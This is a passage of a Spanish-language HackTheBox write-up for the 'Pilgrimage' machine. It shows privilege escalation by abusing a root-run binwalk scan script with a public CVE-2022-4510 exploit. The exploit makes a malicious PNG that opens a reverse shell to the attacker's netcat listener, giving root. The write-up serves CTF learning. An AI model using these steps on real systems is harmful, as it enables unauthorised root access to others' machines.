emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh #!/bin/bash blacklist=("Executable script" "Microsoft executable") /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')" binout="$(/usr/local/bin/binwalk -e "$filename")" for banned in "${blacklist[@]}"; do if [[ "$binout" == *"$banned"* ]]; then /usr/bin/rm "$filename" break fi done done |
Viendo el mismo ejecuta binwalk para extraer contenido de las imágenes así que vamos a ver en primer lugar la versión de binwalk
|
1 2 3 4 5 |
emily@pilgrimage:~$ /usr/local/bin/binwalk Binwalk v2.3.2 Craig Heffner, ReFirmLabs https://github.com/ReFirmLabs/binwalk |
Y si buscamos en google encontramos un exploit de un RCE
Así que lo descargamos, subimos a la máquina y explotamos para generar una imagen maliciosa
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
emily@pilgrimage:~$ python3 binwalk-exploit.py a.png 10.10.14.127 4444 ################################################ ------------------CVE-2022-4510---------------- ################################################ --------Binwalk Remote Command Execution-------- ------Binwalk 2.1.2b through 2.3.2 included----- ------------------------------------------------ ################################################ ----------Exploit by: Etienne Lacoche----------- ---------Contact Twitter: @electr0sm0g---------- ------------------Discovered by:---------------- ---------Q. Kaiser, ONEKEY Research Lab--------- ---------Exploit tested on debian 11------------ ################################################ You can now rename and share binwalk_exploit and start your local netcat listener. |
El siguiente paso será copiar esa imagen al directorio de trabajo indicado en el script
|
1 |
emily@pilgrimage:~$ cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/ |
Esperamos unos segundos a que se ejecute… y tenemos una shell como root en nuestra escucha
|
1 2 3 4 5 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.127] from pilgrimage.htb [10.129.27.35] 44964 id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Y ya sólo nos queda coger la flag
|
1 2 |
cat /root/root.txt 7xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx9 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
